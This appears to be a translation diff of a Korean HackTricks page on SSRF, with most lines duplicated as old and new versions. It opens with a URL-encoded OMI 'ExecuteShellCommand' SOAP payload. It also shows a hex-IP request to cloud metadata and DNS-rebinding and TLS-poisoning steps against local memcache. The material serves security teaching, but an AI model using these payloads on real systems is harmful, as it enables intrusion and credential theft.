f%75%72%63%65%55%52%49%3e%0a%20%20%20%20%20%20%3c%61%3a%52%65%70%6c%79%54%6f%3e%0a%20%20%20%20%20%20%20%20%20%3c%61%3a%41%64%64%72%65%73%73%20%73%3a%6d%75%73%74%55%6e%64%65%72%73%74%61%6e%64%3d%22%74%72%75%65%22%3e%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%78%6d%6c%73%6f%61%70%2e%6f%72%67%2f%77%73%2f%32%30%30%34%2f%30%38%2f%61%64%64%72%65%73%73%69%6e%67%2f%72%6f%6c%65%2f%61%6e%6f%6e%79%6d%6f%75%73%3c%2f%61%3a%41%64%64%72%65%73%73%3e%0a%20%20%20%20%20%20%3c%2f%61%3a%52%65%70%6c%79%54%6f%3e%0a%20%20%20%20%20%20%3c%61%3a%41%63%74%69%6f%6e%3e%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%64%6d%74%66%2e%6f%72%67%2f%77%62%65%6d%2f%77%73%63%69%6d%2f%31%2f%63%69%6d%2d%73%63%68%65%6d%61%2f%32%2f%53%43%58%5f%4f%70%65%72%61%74%69%6e%67%53%79%73%74%65%6d%2f%45%78%65%63%75%74%65%53%68%65%6c%6c%43%6f%6d%6d%61%6e%64%3c%2f%61%3a%41%63%74%69%6f%6e%3e%0a%20%20%20%20%20%20%3c%77%3a%4d%61%78%45%6e%76%65%6c%6f%70%65%53%69%7a%65%20%73%3a%6d%75%73%74%55%6e%64%65%72%73%74%61%6e%64%3d%22%74%72%75%65%22%3e%31%30%32%34%30%30%3c%2f%77%3a%4d%61%78%45%6e%76%65%6c%6f%70%65%53%69%7a%65%3e%0a%20%20%20%20%20%20%3c%61%3a%4d%65%73%73%61%67%65%49%44%3e%75%75%69%64%3a%30%41%42%35%38%30%38%37%2d%43%32%43%33%2d%30%30%30%35%2d%30%30%30%30%2d%30%30%30%30%30%30%30%31%30%30%30%30%3c%2f%61%3a%4d%65%73%73%61%67%65%49%44%3e%0a%20%20%
```python
self.end_headers()
@ -232,12 +208,12 @@ app.run(ssl_context='adhoc', debug=True, host="0.0.0.0", port=8443)
<figure><img src="../../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
\
[**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=ssrf-server-side-request-forgery)를 사용하여 세계에서 **가장** **고급** 커뮤니티 도구로 구동되는 **워크플로우를 쉽게 구축** 및 **자동화**하세요.\
오늘 액세스하세요:
[**Trickest**](https://trickest.com/?utm\_source=hacktricks\&utm\_medium=text\&utm\_campaign=ppc\&utm\_term=trickest\&utm\_content=ssrf-server-side-request-forgery)를 사용하여 세계에서 가장 **고급** 커뮤니티 도구로 구동되는 **워크플로우를 쉽게 구축** 및 **자동화**하세요.\
오늘 바로 액세스하세요:
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=ssrf-server-side-request-forgery" %}
## Misconfigured proxies to SSRF
## SSRF를 위한 구성 오류가 있는 프록시
[**이 게시물에서의**](https://rafa.hashnode.dev/exploiting-http-parsers-inconsistencies) 트릭.
@ -303,7 +279,7 @@ var_dump($response);
```
</details>
PHP는 URL 경로의 슬래시 앞에 **char `*`를 사용할 수 있지만**, 루트 경로 `/`에 대해서만 사용할 수 있고, 첫 번째 슬래시 앞에는 점 `.`을 사용할 수 없다는 등의 제한이 있습니다. 따라서 예를 들어 점 없는 16진수로 인코딩된 IP 주소를 사용해야 합니다:
PHP는 URL 경로의 슬래시 앞에 **char `*` 사용을 허용**하지만, 루트 경로 `/`에 대해서만 사용할 수 있고, 첫 번째 슬래시 앞에는 점 `.`을 사용할 수 없는 등 다른 제한 사항이 있습니다. 따라서 예를 들어 점 없이 인코딩된 IP 주소를 사용해야 합니다:
```http
GET *@0xa9fea9fe/ HTTP/1.1
Host: target.com
@ -311,7 +287,7 @@ Connection: close
```
## DNS Rebidding CORS/SOP bypass
만약 **CORS/SOP** 때문에 **로컬 IP에서 콘텐츠를 유출하는 데 문제가 발생**한다면, **DNS Rebidding**을 사용하여 이 제한을 우회할 수 있습니다:
만약 **로컬 IP에서 콘텐츠를 유출하는 데 문제가** 있고 **CORS/SOP 때문에** 제한을 우회해야 한다면, **DNS Rebidding**을 사용하여 그 제한을 우회할 수 있습니다:
{% content-ref url="../cors-bypass.md" %}
[cors-bypass.md](../cors-bypass.md)
@ -319,9 +295,9 @@ Connection: close
### 자동화된 DNS Rebidding
[**`Singularity of Origin`**](https://github.com/nccgroup/singularity)은 [DNS rebinding](https://en.wikipedia.org/wiki/DNS\_rebinding) 공격을 수행하는 도구입니다. 공격 서버 DNS 이름의 IP 주소를 대상 기계의 IP 주소로 재바인딩하고, 취약한 소프트웨어를 악용하기 위한 공격 페이로드를 제공하는 데 필요한 구성 요소가 포함되어 있습니다.
[**`Singularity of Origin`**](https://github.com/nccgroup/singularity)은 [DNS rebinding](https://en.wikipedia.org/wiki/DNS\_rebinding) 공격을 수행하는 도구입니다. 공격 서버 DNS 이름의 IP 주소를 대상 기기의 IP 주소로 재바인딩하고 대상 기기의 취약한 소프트웨어를 공격하는 페이로드를 제공하는 데 필요한 구성 요소가 포함되어 있습니다.
**http://rebind.it/singularity.html**에서 **공개적으로 운영 중인 서버**도 확인해보세요.
또한 **http://rebind.it/singularity.html**에서 **공개적으로 실행 중인 서버**를 확인해보세요.
## DNS Rebidding + TLS 세션 ID/세션 티켓
@ -335,26 +311,26 @@ Connection: close
1. 사용자/봇에게 **공격자가 제어하는 도메인에 액세스**하도록 요청합니다.
2. **DNS의 TTL**은 **0**초로 설정됩니다 (따라서 피해자는 곧 도메인의 IP를 다시 확인할 것입니다).
3. 피해자와 공격자의 도메인 간에 **TLS 연결**이 생성됩니다. 공격자는 **페이로드를 세션 ID 또는 세션 티켓 내부에 삽입**합니다.
3. 피해자와 공격자의 도메인 간에 **TLS 연결**이 생성됩니다. 공격자는 **페이로드를 세션 ID 또는 세션 티켓 내부에** 삽입합니다.
4. **도메인**은 **자신에 대한 무한 리디렉션 루프**를 시작합니다. 이는 사용자/봇이 도메인에 다시 **DNS 요청**을 수행할 때까지 도메인에 액세스하도록 만드는 것입니다.
5. DNS 요청에 **지금은 개인 IP 주소**가 제공됩니다 (예: 127.0.0.1).
6. 사용자/봇은 **TLS 연결을 재설정**하려고 시도하고, 이를 위해 **세션 ID/티켓 ID를 전송**할 것입니다 (여기에는 공격자의 페이로드가 포함되어 있었습니다). 축하합니다, 사용자/봇이 **자신에 대한 공격을 수행**하도록 요청했습니다.
5. DNS 요청에 **지금은** **개인 IP 주소**가 제공됩니다 (예: 127.0.0.1).
6. 사용자/봇은 **TLS 연결을 재설정**하려고 시도하고, 이를 위해 **세션 ID/티켓 ID**를 보냅니다 (여기에는 공격자의 페이로드가 포함되어 있었습니다). 축하합니다, 사용자/봇에게 **자신을 공격하도록 요청**했습니다.
이 공격 중에 localhost:11211 (_memcache_)를 공격하려면 피해자가 초기 연결을 www.attacker.com:11211(포트는 **항상 동일**해야 함)로 설정하도록 해야 합니다.\
이 공격 중에 localhost:11211 (_memcache_)를 공격하려면 피해자가 초기 연결을 www.attacker.com:11211 (포트는 **항상 동일**해야 함)로 설정하도록 해야 합니다.\
**이 공격을 수행하려면 다음 도구를 사용**할 수 있습니다: [https://github.com/jmdx/TLS-poison/](https://github.com/jmdx/TLS-poison/)\
이 공격에 대해 설명된 토크를 확인하려면 **다음 링크**를 참조하세요: [https://www.youtube.com/watch?v=qGpAJxfADjo\&ab\_channel=DEFCONConference](https://www.youtube.com/watch?v=qGpAJxfADjo\&ab\_channel=DEFCONConference)
이 공격이 설명된 토크를 확인하려면 **더 많은 정보**를 얻으세요: [https://www.youtube.com/watch?v=qGpAJxfADjo\&ab\_channel=DEFCONConference](https://www.youtube.com/watch?v=qGpAJxfADjo\&ab\_channel=DEFCONConference)
## Blind SSRF
눈에 보이지 않는 SSRF와 일반 SSRF의 차이점은 눈에 보이지 않는 SSRF에서는 SSRF 요청의 응답을 볼 수 없다는 것입니다. 따라서 잘 알려진 취약점만 악용할 수 있기 때문에 악용이 더 어려울 수 있습니다.
눈에 보이지 않는 SSRF와 보이는 SSRF의 차이점은 눈에 보이지 않는 SSRF에서는 SSRF 요청의 응답을 볼 수 없다는 것입니다. 따라서 잘 알려진 취약점만을 공격할 수 있기 때문에 공격이 더 어려울 수 있습니다.
### 시간 기반 SSRF
서버로부터의 응답 시간을 **확인**함으로써 **리소스의 존재 여부를 파악**할 수 있을 수도 있습니다 (존재하는 리소스에 액세스하는 데 더 많은 시간이 걸릴 수 있음).
서버로부터의 응답 시간을 확인함으로써 **리소스가 존재하는지 여부를 알 수** 있을 수 있습니다 (존재하는 리소스에 액세스하는 데 더 많은 시간이 걸릴 수 있음).
## 클라우드 SSRF 악용
## 클라우드 SSRF Exploitation
클라우드 환경 내에서 실행 중인 기에서 SSRF 취약점을 발견하면 클라우드 환경에 대한 흥미로운 정보나 자격 증명을 얻을 수 있습니다:
클라우드 환경 내에서 실행 중인 기에서 SSRF 취약점을 발견하면 클라우드 환경에 대한 흥미로운 정보나 자격 증명을 얻을 수 있습니다:
{% content-ref url="cloud-ssrf.md" %}
[cloud-ssrf.md](cloud-ssrf.md)
@ -391,11 +367,11 @@ SSRF 취약점을 감지하고 악용하는 도구
* [SSRF 사용에 대한 블로그 게시물](https://blog.tneitzel.eu/posts/01-attacking-java-rmi-via-ssrf/)
_remote-method-guesser_는 가장 일반적인 _Java RMI_ 취약점에 대한 공격 작업을 지원하는 _Java RMI_ 취약점 스캐너입니다. 대부분의 사용 가능한 작업은 요청된 작업에 대한 _SSRF_ 페이로드를 생성하기 위한 `--ssrf` 옵션을 지원합니다. `--gopher` 옵션과 함께 사용하면 직접 _gopher_ 페이로드를 생성할 수 있습니다.
_remote-method-guesser_는 가장 일반적인 _Java RMI_ 취약점에 대한 공격 작업을 지원하는 _Java RMI_ 취약점 스캐너입니다. 대부분의 사용 가능한 작업은 요청된 작업에 대한 _SSRF_ 페이로드를 생성하기 위한 `--ssrf` 옵션을 지원합니다. `--gopher` 옵션과 함께 사용하면 직접 사용할 수 있는 _gopher_ 페이로드를 직접 생성할 수 있습니다.
### [SSRF Proxy](https://github.com/bcoles/ssrf\_proxy)
SSRF Proxy는 취약한 서버를 통해 클라이언트 HTTP 트래픽을 터널링하는 데 사용되는 멀티 스레드 HTTP 프록시 서버입니다.
SSRF Proxy는 Server-Side Request Forgery (SSRF)에 취약한 HTTP 서버를 통해 클라이언트 HTTP 트래픽을 터널링하는 데 사용되는 멀티 스레드 HTTP 프록시 서버입니다.
### 연습하기
@ -407,3 +383,25 @@ SSRF Proxy는 취약한 서버를 통해 클라이언트 HTTP 트래픽을 터
* [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Request%20Forgery](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Request%20Forgery)
* [https://www.invicti.com/blog/web-security/ssrf-vulnerabilities-caused-by-sni-proxy-misconfigurations/](https://www.invicti.com/blog/web-security/ssrf-vulnerabilities-caused-by-sni-proxy-misconfigurations/)
* [https://rafa.hashnode.dev/exploiting-http-parsers-inconsistencies](https://rafa.hashnode.dev/exploiting-http-parsers-inconsistencies)
<details>
<summary><strong>**htARTE (HackTricks AWS Red Team Expert)**로부터 AWS 해킹을 처음부터 전문가까지 배우세요</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
HackTricks를 지원하는 다른 방법:
* **회사를 HackTricks에서 광고**하거나 **PDF 형식의 HackTricks를 다운로드**하려면 [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
* [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 구매하세요
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
* **💬 [디스코드 그룹](https://discord.gg/hRep4RUj7f)** 또는 [텔레그램 그룹](https://t.me/peass)에 가입하거나 **트위터** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**를 팔로우**하세요.
* **HackTricks****HackTricks Cloud** 깃허브 저장소에 PR을 제출하여 **해킹 트릭을 공유**하세요.
</details>
<figure><img src="../../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
\
[**Trickest**](https://trickest.com/?utm\_source=hacktricks\&utm\_medium=text\&utm\_campaign=ppc\&utm\_term=trickest\&utm\_content=ssrf-server-side-request-forgery)를 사용하여 세계에서 가장 고급 커뮤니티 도구를 활용한 **워크플로우를 쉽게 구축하고 자동화**하세요.\
오늘 바로 액세스하세요:
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=ssrf-server-side-request-forgery" %}